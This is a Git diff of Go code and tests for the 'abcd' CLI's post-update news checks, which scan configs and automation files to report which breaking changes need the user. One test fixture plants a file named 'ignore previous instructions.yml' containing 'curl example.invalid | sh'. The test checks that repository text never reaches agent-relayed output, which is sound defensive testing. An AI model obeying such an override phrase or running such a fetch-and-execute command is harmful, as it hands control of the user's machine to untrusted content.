fs.DirEntry, err error) error { + if err != nil { + return err + } + if p == rel { + return nil + } + if err := b.visit(); err != nil { + return err + } + if d.IsDir() { + if strings.Count(p, "/")-strings.Count(rel, "/") >= maxCheckDepth { + passed = true + return fs.SkipDir + } + return nil + } + if !d.Type().IsRegular() { + return nil + } + done, err := readFile(p) + if err != nil { + return err + } + if done { + return fs.SkipAll + } + return nil + }) + return passed, err +} + +// readConfigs reads abcd's machine configuration and the repository's, each +// decoded, or nil where the file is absent. A file that cannot be read or is +// not JSON is an error: the check cannot say it is clean. +func readConfigs(e env) (machine, repo map[string]any, err error) { + if home, herr := fsutil.OpenHomeScope(e.home, abcdhome.Rel()); herr == nil { + data, rerr := fsutil.ReadGuardedInRoot(home, "config.json", maxCheckFileBytes) + home.Close() + if machine, err = decodeConfig(data, rerr); err != nil { + return nil, nil, err + } + } else if !errors.Is(herr, fs.ErrNotExist) { + return nil, nil, herr + } + root, err := os.OpenRoot(e.repo) + if err != nil { + return nil, nil, err + } + defer root.Close() + data, rerr := fsutil.ReadGuardedInRoot(root, path.Join(".abcd", "config.json"), maxCheckFileBytes) + if repo, err = decodeConfig(data, rerr); err != nil { + return nil, nil, err + } + return machine, repo, nil +} + +func decodeConfig(data []byte, err error) (map[string]any, error) { + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + var m map[string]any + if err := json.Unmarshal(data, &m); err != nil { + return nil, err + } + return m, nil +} + +// retiredClasses are the model class names no class takes since v0.17.0. +var retiredClasses = []string{"middle", "below", "smallest"} + +// oldModelClasses finds a retired class name, as a key or a value, under a +// configuration's models or review settings, and a machine class map that +// sets top without research. +func oldModelClasses(e env) ([]string, error) { + machine, repo, err := readConfigs(e) + if err != nil { + return nil, err + } + var found []string + if namesRetired(machine["models"]) || namesRetired(machine["review"]) || topWithoutResearch(machine) { + found = append(found, machineConfig) + } + if namesRetired(repo["models"]) || namesRetired(repo["review"]) { + found = append(found, repoConfig) + } + return found, nil +} + +func namesRetired(v any) bool { + switch x := v.(type) { + case string: + return slices.Contains(retiredClasses, x) + case []any: + return slices.ContainsFunc(x, namesRetired) + case map[string]any: + for k, val := range x { + if slices.Contains(retiredClasses, k) || namesRetired(val) { + return true + } + } + } + return false +} + +func topWithoutResearch(cfg map[string]any) bool { + models, _ := cfg["models"].(map[string]any) + classes, _ := models["classes"].(map[string]any) + _, top := classes["top"] + _, research := classes["research"] + return top && !research +} + +// docsTargetCommand is the command that sets the docs target abcd writes. +const docsTargetCommand = "abcd ahoy install --docs-target agents_md" + +// oldDocsTarget finds a saved docs target of claude_md or both. +func oldDocsTarget(e env) ([]string, error) { + _, repo, err := readConfigs(e) + if err != nil { + return nil, err + } + docs, _ := repo["docs"].(map[string]any) + if t, _ := docs["target"].(string); t == "claude_md" || t == "both" { + return []string{docsTargetCommand}, nil + } + return nil, nil +} + +// repoRunnerRoutes finds a role the repository's configuration routes to a +// runner. +func repoRunnerRoutes(e env) ([]string, error) { + _, repo, err := readConfigs(e) + if err != nil { + return nil, err + } + roles, _ := repo["roles"].(map[string]any) + for _, r := range roles { + if role, _ := r.(map[string]any); role != nil { + if runner, _ := role["runner"].(string); runner != "" { + return []string{repoConfig}, nil + } + } + } + return nil, nil +} + +// migrateCommand is the command that rewrites the retired promote links. +const migrateCommand = "abcd capture migrate --apply" + +// promotedRecords finds a record still carrying promoted_to or +// promoted_from. +func promotedRecords(e env) ([]string, error) { + root, err := os.OpenRoot(e.repo) + if err != nil { + return nil, err + } + defer root.Close() + for _, p := range recordPlaces { + hit := false + passed, err := walkPlace(root, e.budget, p, func(data []byte) bool { + hit = rePromoted.Match(data) + return hit + }) + if hit { + return []string{migrateCommand}, nil + } + if err != nil { + return nil, err + } + if passed { + return nil, errors.New("a record was passed over unread") + } + } + return nil, nil +} + +// installOneLiner names the install command a person re-runs; it is in abcd's +// README, under Install. +const installOneLiner = "abcd's install one-liner (README.md, Install)" + +// unownedPathCopy finds an abcd on PATH that abcd did not record as installed. +func unownedPathCopy(env) ([]string, error) { + p, err := lookPath("abcd") + if err != nil { + return nil, nil + } + if ownedPathCopy(p) { + return nil, nil + } + return []string{installOneLiner}, nil +} + +// refusedRoot finds a checkout whose root the rules resolution refused. The +// resolution runs git, bound to the checks' deadline, so a git that never +// answers leaves the item unchecked rather than holding the news. +func refusedRoot(e env) ([]string, error) { + ctx, cancel := context.WithDeadline(context.Background(), e.budget.deadline) + defer cancel() + notes, err := rootNotes(ctx, e.repo) + if err != nil { + return nil, err + } + if len(notes) > 0 { + return []string{abcdhome.Display("trusted-roots")}, nil + } + return nil, nil +} diff --git a/internal/core/afterupdate/act_test.go b/internal/core/afterupdate/act_test.go new file mode 100644 index 0000000000..8191dc77f2 --- /dev/null +++ b/internal/core/afterupdate/act_test.go @@ -0,0 +1,458 @@ +package afterupdate + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "slices" + "strings" + "syscall" + "testing" + "time" + + "github.com/intentdriven/abcd/internal/abcdhome" + "github.com/intentdriven/abcd/internal/core/releasedigest" +) + +// actDigest carries v0.18.0 (the dry-run rule, breaking, and one additive +// change) and v0.17.0 (the renamed model classes and the verdict's full +// head, both breaking), each entry citing the records the real digest cites. +func actDigest(t *testing.T) *releasedigest.Digest { + t.Helper() + rec := func(id, impact string) map[string]string { return map[string]string{"id": id, "impact": impact} } + doc := map[string]any{"schema_version": 1, "releases": []map[string]any{ + {"tag": "v0.18.0", "base_tag": "v0.17.0", "entries": []map[string]any{ + {"line": "Added a thing.", "records": []map[string]string{rec("itd-1", "additive")}}, + {"line": "Verbs that move records require a dry run first.", "records": []map[string]string{rec("iss-2611291649315321", "breaking")}}, + }}, + {"tag": "v0.17.0", "base_tag": "v0.16.0", "entries": []map[string]any{ + {"line": "The model classes are renamed.", "records": []map[string]string{rec("itd-2611101419006280", "breaking")}}, + {"line": "A verdict names its head in full.", "records": []map[string]string{rec("iss-2611060104145956", "breaking")}}, + }}, + }} + data, err := json.Marshal(doc) + if err != nil { + t.Fatal(err) + } + d, err := releasedigest.Parse(data) + if err != nil { + t.Fatal(err) + } + return d +} + +// actWorld is the stand-in world on the act digest: updated from v0.16.0 to +// v0.18.0, news unseen, with no abcd on PATH and a root this account owns. +func actWorld(t *testing.T) *world { + t.Helper() + w := newWorld(t) + w.running, w.previous, w.setup = "v0.18.0", "v0.16.0", "" + digestRange = actDigest(t).Range + return w +} + +func writeIn(t *testing.T, path, body string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } +} + +func momentLines(t *testing.T, w *world) []string { + t.Helper() + m, err := Moment(w.repo) + if err != nil { + t.Fatal(err) + } + return m.Lines +} + +// TestNewsChecksEachActionHereBeforeSayingNeedsYou is the issue's own case: +// on a machine and repository that the two v0.17.0 changes do not touch, +// neither is presented as needing the person; each says what it is and what +// abcd found clean, and the release line counts no item as needing them. +func TestNewsChecksEachActionHereBeforeSayingNeedsYou(t *testing.T) { + w := actWorld(t) + got := momentLines(t, w) + want := []string{ + "abcd v0.18.0: 2 changes, none needs you here. Ask for details: abcd update news --full", + " - already fine here: dry runs first for the verbs that move, rewrite or delete: no Makefile, scripts/, .github/workflows/ or .githooks/ file here runs one of them (iss-2611291649315321)", + "abcd v0.17.0: 2 changes, none needs you here. Ask for details: abcd update news --full", + " - already fine here: the renamed model classes: neither " + abcdhome.Display("config.json") + " nor .abcd/config.json names an old class (itd-2611101419006280)", + " - already fine here: the full head in a review's verdict: agents write the review files, and no Makefile, scripts/, .github/workflows/ or .githooks/ file here records one with --record-review (iss-2611060104145956)", + } + if !slices.Equal(got, want) { + t.Fatalf("lines:\n%s\nwant:\n%s", strings.Join(got, "\n"), strings.Join(want, "\n")) + } + m, err := Moment(w.repo) + if err != nil { + t.Fatal(err) + } + if len(m.Act) != 3 || m.Act[0].State != ActFineHere || m.Act[0].Release != "v0.18.0" || + !slices.Equal(m.Act[0].Records, []string{"iss-2611291649315321"}) || m.Act[0].Action == "" { + t.Fatalf("act items: %+v", m.Act) + } +} + +// TestNewsSaysNeedsYouOnlyWhereTheCheckFindsSomething: a machine +// configuration naming a retired class and a script recording a review make +// those two items need the person, each naming the file it found; the item +// the check finds nothing for stays fine. +func TestNewsSaysNeedsYouOnlyWhereTheCheckFindsSomething(t *testing.T) { + w := actWorld(t) + writeIn(t, abcdhome.Path(w.home, "config.json"), `{"models": {"classes": {"middle": "vendor/model-a"}}}`) + writeIn(t, filepath.Join(w.repo, ".abcd", "config.json"), `{"review": {"roles": {"code": ["below"]}}}`) + writeIn(t, filepath.Join(w.repo, "scripts", "ship", "review.sh"), "#!/bin/sh\nabcd land --record-review \"$1\"\n") + got := momentLines(t, w) + want := []string{ + "abcd v0.18.0: 2 changes, none needs you here. Ask for details: abcd update news --full", + " - already fine here: dry runs first for the verbs that move, rewrite or delete: no Makefile, scripts/, .github/workflows/ or .githooks/ file here runs one of them (iss-2611291649315321)", + "abcd v0.17.0: 2 changes, 2 need you here. Ask for details: abcd update news --full", + " - needs you: write the new class names in " + abcdhome.Display("config.json") + " and .abcd/config.json: middle is now top, below is default and smallest is small, and a class map that sets top sets research too (itd-2611101419006280)", + " - needs you: have scripts/ write each review's verdict as the line under ### Verdict that opens with the verdict word and names the full head (iss-2611060104145956)", + } + if !slices.Equal(got, want) { + t.Fatalf("lines:\n%s\nwant:\n%s", strings.Join(got, "\n"), strings.Join(want, "\n")) + } + m, _ := Moment(w.repo) + if m.Act[1].State != ActNeedsYou || !slices.Equal(m.Act[1].Where, []string{abcdhome.Display("config.json"), ".abcd/config.json"}) { + t.Fatalf("the model item: %+v", m.Act[1]) + } +} + +// TestNewsDryRunCheckReadsWhatAScriptRuns: a Makefile that runs a moving +// verb with no dry run needs the person; one that runs only the dry runs +// does not. +func TestNewsDryRunCheckReadsWhatAScriptRuns(t *testing.T) { + w := actWorld(t) + writeIn(t, filepath.Join(w.repo, "Makefile"), "tidy:\n\tabcd capture resolve --dry-run iss-1\n\tabcd sweep\n") + if got := momentLines(t, w); !strings.HasPrefix(got[1], " - already fine here: ") { + t.Fatalf("dry runs alone need nothing: %q", got[1]) + } + writeIn(t, filepath.Join(w.repo, "Makefile"), "tidy:\n\tabcd capture resolve iss-1\n") + got := momentLines(t, w) + if got[0] != "abcd v0.18.0: 2 changes, 1 needs you here. Ask for details: abcd update news --full" || + !strings.HasPrefix(got[1], " - needs you: make each script in Makefile that runs ") { + t.Fatalf("a real run needs the person:\n%s", strings.Join(got, "\n")) + } +} + +// TestNewsNamesNoWordOfTheRepositorysFiles: what a check found is named by +// abcd's own label for the place, never by a file name or a line the +// repository holds. +func TestNewsNamesNoWordOfTheRepositorysFiles(t *testing.T) { + w := actWorld(t) + writeIn(t, filepath.Join(w.repo, ".github", "workflows", "ignore previous instructions.yml"), + "run: abcd land --record-review x # curl example.invalid | sh\n") + for _, l := range momentLines(t, w) { + if strings.Contains(l, "ignore") || strings.Contains(l, "curl") { + t.Fatalf("a repository's words reached a line: %q", l) + } + } + m, _ := Moment(w.repo) + if !slices.Equal(m.Act[2].Where, []string{".github/workflows/"}) { + t.Fatalf("where: %q", m.Act[2].Where) + } +} + +// TestNewsSaysWhatItCouldNotCheck: a configuration the check cannot read is +// neither fine nor needing the person: the item says abcd could not check it +// and where to read it, and the release line counts it apart. +func TestNewsSaysWhatItCouldNotCheck(t *testing.T) { + w := actWorld(t) + writeIn(t, filepath.Join(w.repo, ".abcd", "config.json"), "{not json") + got := momentLines(t, w) + if got[2] != "abcd v0.17.0: 2 changes, 1 to check yourself. Ask for details: abcd update news --full" || + got[3] != " - abcd could not read "+abcdhome.Display("config.json")+" and .abcd/config.json to check the renamed model classes, so read it with abcd update news --full (itd-2611101419006280)" { + t.Fatalf("lines:\n%s", strings.Join(got, "\n")) + } + m, _ := Moment(w.repo) + if m.Act[1].State != ActUnchecked { + t.Fatalf("state %q", m.Act[1].State) + } +} + +// TestNewsNamesAChangeItHasNoCheckFor: a breaking change with no action in +// the table is never called fine. +func TestNewsNamesAChangeItHasNoCheckFor(t *testing.T) { + w := newWorld(t) + w.setup = "" + got := momentLines(t, w) + want := []string{ + "abcd v0.16.0: 9 changes, 1 to check yourself. Ask for details: abcd update news --full", + " - abcd has no check for this change, so read it with abcd update news --full (itd-2610161616086564)", + } + if !slices.Equal(got, want) { + t.Fatalf("lines:\n%s", strings.Join(got, "\n")) + } +} + +// TestEveryBreakingChangeInTheDigestHasAnAction: each entry the binary's +// digest marks as needing the person has a one-line action and a check, so +// the news never names a change it cannot say anything about. A release cut +// whose digest adds a breaking entry adds its action to the table in +// act.go in the same change. +func TestEveryBreakingChangeInTheDigestHasAnAction(t *testing.T) { + data, err := os.ReadFile(filepath.Join("..", "releasedigest", "digest.json")) + if err != nil { + t.Fatal(err) + } + d, err := releasedigest.Parse(data) + if err != nil { + t.Fatal(err) + } + for _, r := range d.Releases { + for _, e := range r.Entries { + if !e.NeedsAction() { + continue + } + key := entryKey(e) + a, ok := acts[key] + if !ok { + t.Errorf("%s: no action in act.go for the breaking entry citing %s: %.80s", r.Tag, key, e.Line) + continue + } + if a.what == "" || a.do == "" || a.clean == "" || strings.Count(a.do, "%s") > 1 || ((a.probe != nil || a.match != nil) && strings.Count(a.do, "%s") != 1) || (a.probe != nil && a.match != nil) { + t.Errorf("%s: the action for %s is incomplete: %+v", r.Tag, key, a) + } + } + } +} + +// TestAChecksErrorIsNotFine guards the fold: a probe's error makes the item +// unchecked, never fine. +func TestAChecksErrorIsNotFine(t *testing.T) { + a := act{what: "x", do: "fix %s", clean: "y", reads: []string{"z"}} + if it := a.item("v1.0.0", []string{"iss-1"}, found{err: errors.New("boom")}); it.State != ActUnchecked { + t.Fatalf("state %q", it.State) + } + if it := a.item("v1.0.0", []string{"iss-1"}, found{passed: []string{"scripts/"}, err: errors.New("boom")}); it.State != ActUnchecked { + t.Fatalf("a passed-over place with an error: state %q", it.State) + } +} + +// TestTheConfigurationAndMachineChecks: each check that reads a repository's +// configuration, its records or the machine finds what it names and nothing +// in a clean world. +func TestTheConfigurationAndMachineChecks(t *testing.T) { + w := newWorld(t) + e := env{home: w.home, repo: w.repo, budget: newBudget()} + run := func(key string) ActItem { + a := acts[key] + var f found + f.where, f.err = a.probe(e) + return a.item("v1.0.0", []string{key}, f) + } + prevLook, prevOwned, prevNotes := lookPath, ownedPathCopy, rootNotes + t.Cleanup(func() { lookPath, ownedPathCopy, rootNotes = prevLook, prevOwned, prevNotes }) + lookPath = func(string) (string, error) { return "", errors.New("not found") } + ownedPathCopy = func(string) bool { return false } + rootNotes = func(context.Context, string) ([]string, error) { return nil, nil } + for _, key := range []string{"itd-2610030814013772", "iss-2610020723185314", "iss-2609231553391212,itd-4", "iss-2609012039107700", "iss-2609020259564193"} { + if it := run(key); it.State != ActFineHere { + t.Errorf("%s in a clean world: %+v", key, it) + } + } + writeIn(t, filepath.Join(w.repo, ".abcd", "config.json"), `{"docs": {"target": "both"}, "roles": {"review": {"runner": "claude"}}}`) + writeIn(t, filepath.Join(w.repo, ".abcd", "work", "issues", "open", "iss-1-x.md"), "---\nid: \"iss-1\"\npromoted_to: \"itd-2\"\n---\n") + lookPath = func(string) (string, error) { return "/usr/local/bin/abcd", nil } + rootNotes = func(context.Context, string) ([]string, error) { return []string{"refused"}, nil } + for key, want := range map[string]string{ + "itd-2610030814013772": "needs you: run abcd ahoy install --docs-target agents_md, since .abcd/config.json saves", + "iss-2610020723185314": "needs you: if you set a roles..runner in .abcd/config.json yourself and still want that route, move it into your machine's " + abcdhome.Display("config.json") + "; a route that came with a repository you did not write stays where it is", + "iss-2609231553391212,itd-4": "needs you: run abcd capture migrate --apply once here", + "iss-2609012039107700": "needs you: run abcd's install one-liner (README.md, Install) again", + "iss-2609020259564193": "needs you: declare this checkout in " + abcdhome.Display("trusted-roots"), + } { + if it := run(key); it.State != ActNeedsYou || !strings.HasPrefix(it.Line, " - "+want) { + t.Errorf("%s: %q", key, it.Line) + } + } +} + +// TestAVariableNamedForAbcdIsReadAsAbcd: a Makefile or script that runs abcd +// through a variable is read as running abcd, in each of the three forms; a +// variable of another name is not, so a $(GO) version is no retired spelling. +func TestAVariableNamedForAbcdIsReadAsAbcd(t *testing.T) { + for _, line := range []string{"\t$ABCD capture resolve iss-1", "\t${ABCD_BIN} spec close spc-1", "\t$(abcd) sweep --apply", + "\t\"$ABCD\" spec close \"$spc\"", "\t\"${ABCD}\" capture resolve iss-1", "\t'$ABCD' capture wontfix iss-1", "\t\"$(ABCD)\" sweep --apply"} { + t.Run(line, func(t *testing.T) { + w := actWorld(t) + writeIn(t, filepath.Join(w.repo, "Makefile"), "tidy:\n"+line+"\n") + if got := momentLines(t, w); !strings.HasPrefix(got[1], " - needs you: make each script in Makefile that runs ") { + t.Fatalf("a run through a variable is not read as abcd: %q", got[1]) + } + }) + } + spelling := acts["iss-2609251324599468"].match + if !spelling("\t$(ABCD) version") || spelling("\t$(GO) version") || spelling("\t$GO version") { + t.Fatal("only a variable named for abcd is read as abcd") + } +} + +// TestAChangeAskingNothingReadsNothingToCheck: a change that asks nothing of +// any file is never called fine here. +func TestAChangeAskingNothingReadsNothingToCheck(t *testing.T) { + it := acts["iss-126"].item("v0.8.0", []string{"iss-126"}, found{nothing: true}) + if it.State != ActNothingToCheck || it.Line != " - nothing to check here: abcd spec close states the shipping judgement: the rule judges the next spec close (iss-126)" { + t.Fatalf("%+v", it) + } +} + +// lowerBudget sets the run's shared caps for one test. +func lowerBudget(t *testing.T, bytes int64, entries int, deadline time.Duration) { + t.Helper() + b, e, d := checkBudgetBytes, checkMaxEntries, checkDeadline + t.Cleanup(func() { checkBudgetBytes, checkMaxEntries, checkDeadline = b, e, d }) + checkBudgetBytes, checkMaxEntries, checkDeadline = bytes, entries, deadline +} + +// verdictItem is the review-verdict item of the act world's moment, whose +// check reads the automation for --record-review. +func verdictItem(t *testing.T, w *world) ActItem { + t.Helper() + m, err := Moment(w.repo) + if err != nil { + t.Fatal(err) + } + if len(m.Act) != 3 { + t.Fatalf("act items: %+v", m.Act) + } + return m.Act[2] +} + +const recordReview = "abcd land --record-review x\n" + +// TestTheWalkPassesOverWhatItDoesNotRead: a place that is a link, a file +// over the cap and a folder too deep are passed over unread, and the item +// says nothing to check here, naming the place, never already fine here. +func TestTheWalkPassesOverWhatItDoesNotRead(t *testing.T) { + cases := map[string]func(t *testing.T, w *world){ + "a linked place": func(t *testing.T, w *world) { + outside := t.TempDir() + writeIn(t, filepath.Join(outside, "review.sh"), recordReview) + if err := os.Symlink(outside, filepath.Join(w.repo, "scripts")); err != nil { + t.Fatal(err) + } + }, + "a file over the cap": func(t *testing.T, w *world) { + writeIn(t, filepath.Join(w.repo, "scripts", "big.sh"), recordReview+strings.Repeat("#", maxCheckFileBytes)) + }, + "a folder too deep": func(t *testing.T, w *world) { + writeIn(t, filepath.Join(w.repo, "scripts", "1", "2", "3", "4", "5", "6", "review.sh"), recordReview) + }, + } + for name, plant := range cases { + t.Run(name, func(t *testing.T) { + w := actWorld(t) + plant(t, w) + it := verdictItem(t, w) + if it.State != ActNothingToCheck || !strings.HasPrefix(it.Line, " - nothing to check here: the full head in a review's verdict: abcd does not read scripts/ ") { + t.Fatalf("%+v", it) + } + }) + } + // Five levels down is still read. + w := actWorld(t) + writeIn(t, filepath.Join(w.repo, "scripts", "1", "2", "3", "4", "5", "review.sh"), recordReview) + if it := verdictItem(t, w); it.State != ActNeedsYou { + t.Fatalf("five levels down: %+v", it) + } +} + +// TestTheWalkFollowsNoLinkAndOpensNoPipe: a link inside a folder is not +// followed and a named pipe is not opened, so neither hangs the news nor +// reads as something to do. +func TestTheWalkFollowsNoLinkAndOpensNoPipe(t *testing.T) { + w := actWorld(t) + outside := filepath.Join(t.TempDir(), "review.sh") + writeIn(t, outside, recordReview) + writeIn(t, filepath.Join(w.repo, "scripts", "ok.sh"), "echo ok\n") + if err := os.Symlink(outside, filepath.Join(w.repo, "scripts", "review.sh")); err != nil { + t.Fatal(err) + } + if err := syscall.Mkfifo(filepath.Join(w.repo, "scripts", "pipe.sh"), 0o644); err != nil { + t.Fatal(err) + } + done := make(chan ActItem, 1) + go func() { done <- verdictItem(t, w) }() + select { + case it := <-done: + if it.State != ActFineHere { + t.Fatalf("%+v", it) + } + case <-time.After(30 * time.Second): + t.Fatal("the walk hung on a named pipe") + } +} + +// TestASpentBudgetIsUnchecked: once the run's bytes, entries or time are +// spent, an item not yet found is unchecked, counted as to check yourself, +// never fine. +func TestASpentBudgetIsUnchecked(t *testing.T) { + for name, lower := range map[string]func(t *testing.T){ + "bytes": func(t *testing.T) { lowerBudget(t, 10, 20000, time.Minute) }, + "entries": func(t *testing.T) { lowerBudget(t, 32<<20, 3, time.Minute) }, + "time": func(t *testing.T) { lowerBudget(t, 32<<20, 20000, -time.Second) }, + } { + t.Run(name, func(t *testing.T) { + w := actWorld(t) + for i := range 5 { + writeIn(t, filepath.Join(w.repo, "scripts", fmt.Sprintf("s%d.sh", i)), "echo "+strings.Repeat("x", 100)+"\n") + } + lower(t) + got := momentLines(t, w) + if got[0] != "abcd v0.18.0: 2 changes, 1 to check yourself. Ask for details: abcd update news --full" || + !strings.HasPrefix(got[1], " - abcd could not read Makefile, scripts/, .github/workflows/ and .githooks/ to check dry runs first") { + t.Fatalf("lines:\n%s", strings.Join(got, "\n")) + } + if it := verdictItem(t, w); it.State != ActUnchecked { + t.Fatalf("%+v", it) + } + }) + } +} + +// TestTheAutomationIsWalkedOnce: every act that reads the automation shares +// one walk, so a budget that holds the files once holds the run. +func TestTheAutomationIsWalkedOnce(t *testing.T) { + w := actWorld(t) + for i := range 2 { + writeIn(t, filepath.Join(w.repo, "scripts", fmt.Sprintf("s%d.sh", i)), strings.Repeat("x", 999)+"\n") + } + lowerBudget(t, 2500, 20000, time.Minute) + m, err := Moment(w.repo) + if err != nil { + t.Fatal(err) + } + if m.Act[0].State != ActFineHere || m.Act[2].State != ActFineHere { + t.Fatalf("two acts reading the automation spent more than one walk: %+v", m.Act) + } +} + +// TestTheRootCheckIsBoundByTheDeadline: the rules resolution runs under the +// checks' deadline, and a resolution cut off by it leaves the item +// unchecked. +func TestTheRootCheckIsBoundByTheDeadline(t *testing.T) { + w := newWorld(t) + prev := rootNotes + t.Cleanup(func() { rootNotes = prev }) + rootNotes = func(ctx context.Context, _ string) ([]string, error) { + if _, ok := ctx.Deadline(); !ok { + t.Error("the resolution ran with no deadline") + } + return nil, context.DeadlineExceeded + } + a := acts["iss-2609020259564193"] + var f found + f.where, f.err = a.probe(env{home: w.home, repo: w.repo, budget: newBudget()}) + if it := a.item("v0.8.0", []string{"iss-2609020259564193"}, f); it.State != ActUnchecked { + t.Fatalf("%+v", it) + } +} diff --git a/internal/core/afterupdate/afterupdate.go b/internal/core/afterupdate/afterupdate.go index 1c80a69a54..d0a9723d18 100644 --- a/internal/core/afterupdate/afterupdate.go +++ b/internal/core/afterupdate/afterupdate.go @@ -66,9 +66,6 @@ const answerSchema = 1 // maxStoreFileBytes caps every file of the store as it is read. const maxStoreFileBytes = 4 << 10 -// maxActionIDs bounds the record ids a news line names; the rest are counted. -const maxActionIDs = 5 - // lockTimeout bounds the wait for news-seen's lock. const lockTimeout = 5 * time.Second @@ -124,11 +121,13 @@ type Offer struct { } // MomentLines is what the agent relays in its first reply: a line per release -// whose news is unseen on this computer (and one naming any release the -// digest cannot describe), then the offer line, if one is due here. +// whose news is unseen on this computer, each followed by a line per change +// that can need the person as checked here (Act), and one naming any release +// the digest cannot describe, then the offer line, if one is due here. type MomentLines struct { News *releasedigest.Summary `json:"news,omitempty"` Lines []string `json:"lines"` + Act []ActItem `json:"act,omitempty"` Offer *Offer `json:"offer,omitempty"` Partial bool `json:"partial"` } @@ -141,6 +140,8 @@ type FullSummary struct { Waiting ahoy.WaitingSet `json:"waiting"` Lines []string `json:"lines"` Partial bool `json:"partial"` + // Act is each change that can need the person, checked here. + Act []ActItem `json:"act"` } // Answer is one repository's recorded answer for one release. @@ -185,7 +186,8 @@ func Moment(cwd string) (MomentLines, error) { } if news != nil { m.News = news - m.Lines = append(m.Lines, newsLines(*news)...) + m.Act = actItems(cwd, *news) + m.Lines = append(m.Lines, newsLines(*news, m.Act)...) m.Partial = news.Partial } offer, err := dueOffer(cwd, running, nil) @@ -209,7 +211,7 @@ func Full(cwd, from string) (FullSummary, error) { if err != nil { return FullSummary{}, err } - f := FullSummary{Summary: sum, Waiting: ahoy.WaitingSet{Questions: []ahoy.WaitingItem{}, Defaults: []ahoy.WaitingItem{}}, Partial: sum.Partial} + f := FullSummary{Summary: sum, Waiting: ahoy.WaitingSet{Questions: []ahoy.WaitingItem{}, Defaults: []ahoy.WaitingItem{}}, Partial: sum.Partial, Act: actItems(cwd, sum)} if set, ok := setupVersion(cwd); ok && older(set, running) { det, err := detect(cwd) if err != nil { @@ -484,21 +486,42 @@ func firstRelease(candidates ...func() (string, bool)) string { return "" } -// newsLines is one line per release in sum, newest first, then a line naming -// what the digest cannot describe. -func newsLines(sum releasedigest.Summary) []string { +// newsLines is one line per release in sum, newest first, saying how many of +// its changes need the person here, each followed by its act items' lines; +// then a line naming what the digest cannot describe. +func newsLines(sum releasedigest.Summary, items []ActItem) []string { var out []string for _, r := range sum.Releases { - n := len(r.Entries) - line := fmt.Sprintf("abcd %s: %s", r.Tag, plural(n, "change", "changes")) - if k := r.NeedsAction(); k > 0 { - verb := "need" - if k == 1 { - verb = "needs" + var mine []ActItem + needs, unchecked := 0, 0 + for _, it := range items { + if it.Release != r.Tag { + continue + } + mine = append(mine, it) + switch it.State { + case ActNeedsYou: + needs++ + case ActUnchecked: + unchecked++ } - line += fmt.Sprintf(", %d %s you to act (%s)", k, verb, actionIDs(r)) + } + line := fmt.Sprintf("abcd %s: %s", r.Tag, plural(len(r.Entries), "change", "changes")) + switch { + case needs == 1: + line += ", 1 needs you here" + case needs > 1: + line += fmt.Sprintf(", %d need you here", needs) + case unchecked == 0 && len(mine) > 0: + line += ", none needs you here" + } + if unchecked > 0 { + line += fmt.Sprintf(", %d to check yourself", unchecked) } out = append(out, line+". Ask for details: "+FullCommand) + for _, it := range mine { + out = append(out, it.Line) + } } if sum.Gap != nil { out = append(out, gapLine(*sum.Gap)) @@ -516,25 +539,6 @@ func gapLine(g releasedigest.Gap) string { " and every release's at " + g.ReleasesURL + ", so this summary is partial." } -// actionIDs names the breaking records a release's entries cite, the first -// maxActionIDs of them and a count of the rest. -func actionIDs(r releasedigest.Release) string { - var ids []string - seen := map[string]bool{} - for _, e := range r.Entries { - for _, rec := range e.Records { - if rec.Impact == releasedigest.ImpactBreaking && !seen[rec.ID] { - seen[rec.ID] = true - ids = append(ids, rec.ID) - } - } - } - if len(ids) > maxActionIDs { - return strings.Join(ids[:maxActionIDs], ", ") + fmt.Sprintf(" and %d more", len(ids)-maxActionIDs) - } - return strings.Join(ids, ", ") -} - // offerLine is the offer: the two versions and the count of what waits. func offerLine(from, to string, questions, defaults int) string { var what string diff --git a/internal/core/afterupdate/afterupdate_test.go b/internal/core/afterupdate/afterupdate_test.go index 8236623ff0..f38ab5245e 100644 --- a/internal/core/afterupdate/afterupdate_test.go +++ b/internal/core/afterupdate/afterupdate_test.go @@ -136,7 +136,8 @@ func tree(t *testing.T, root string) string { } const ( - aliceNews = "abcd v0.16.0: 9 changes, 1 needs you to act (itd-2610161616086564). Ask for details: abcd update news --full" + aliceNews = "abcd v0.16.0: 9 changes, 1 to check yourself. Ask for details: abcd update news --full" + aliceAct = " - abcd has no check for this change, so read it with abcd update news --full (itd-2610161616086564)" aliceOffer = "abcd was updated from v0.15.0 to v0.16.0 since this repository was set up; 2 setup questions wait here. Run setup now? (yes / not now)" ) @@ -154,7 +155,7 @@ func TestMomentForAlice(t *testing.T) { if err != nil { t.Fatal(err) } - if want := []string{aliceNews, aliceOffer}; !slices.Equal(m.Lines, want) { + if want := []string{aliceNews, aliceAct, aliceOffer}; !slices.Equal(m.Lines, want) { t.Fatalf("moment lines:\n%s\nwant:\n%s", strings.Join(m.Lines, "\n"), strings.Join(want, "\n")) } if m.Partial || m.Offer == nil || m.Offer.From != "v0.15.0" || m.Offer.To != "v0.16.0" { @@ -179,6 +180,7 @@ func TestMomentCoversSkippedReleases(t *testing.T) { } want := []string{ aliceNews, + aliceAct, "abcd v0.15.0: 2 changes. Ask for details: abcd update news --full", aliceOffer, } @@ -198,7 +200,7 @@ func TestMomentNamesWhatItCannotDescribe(t *testing.T) { } gap := "abcd cannot describe the abcd releases after v0.13.0 through v0.14.1; its notes are at " + core.ReleaseOrigin + "/releases/tag/v0.14.1" + " and every release's at " + core.ReleaseOrigin + "/releases" + ", so this summary is partial." - if !m.Partial || len(m.Lines) != 5 || m.Lines[3] != gap { + if !m.Partial || len(m.Lines) != 6 || m.Lines[4] != gap { t.Fatalf("partial=%v lines:\n%s", m.Partial, strings.Join(m.Lines, "\n")) } } @@ -395,7 +397,8 @@ func TestADevBuildHoldsNothing(t *testing.T) { } // TestFullShowsEveryChangeActionFirstAndAgain: the full summary lists each -// release in the range, its breaking entries first, every entry with the +// release in the range, its checked breaking entries first (here one abcd has +// no check for, so it is the person's to check), every entry with the // record ids it cites, then the way to read one whole and what waits here; it is the same after the news // was seen and the offer answered, and an explicit start is honoured. func TestFullShowsEveryChangeActionFirstAndAgain(t *testing.T) { @@ -406,8 +409,8 @@ func TestFullShowsEveryChangeActionFirstAndAgain(t *testing.T) { } want := []string{ "abcd v0.16.0 (after v0.15.0): 9 changes", - " Needs you (1)", - " ! The bare verb no longer mints a record. 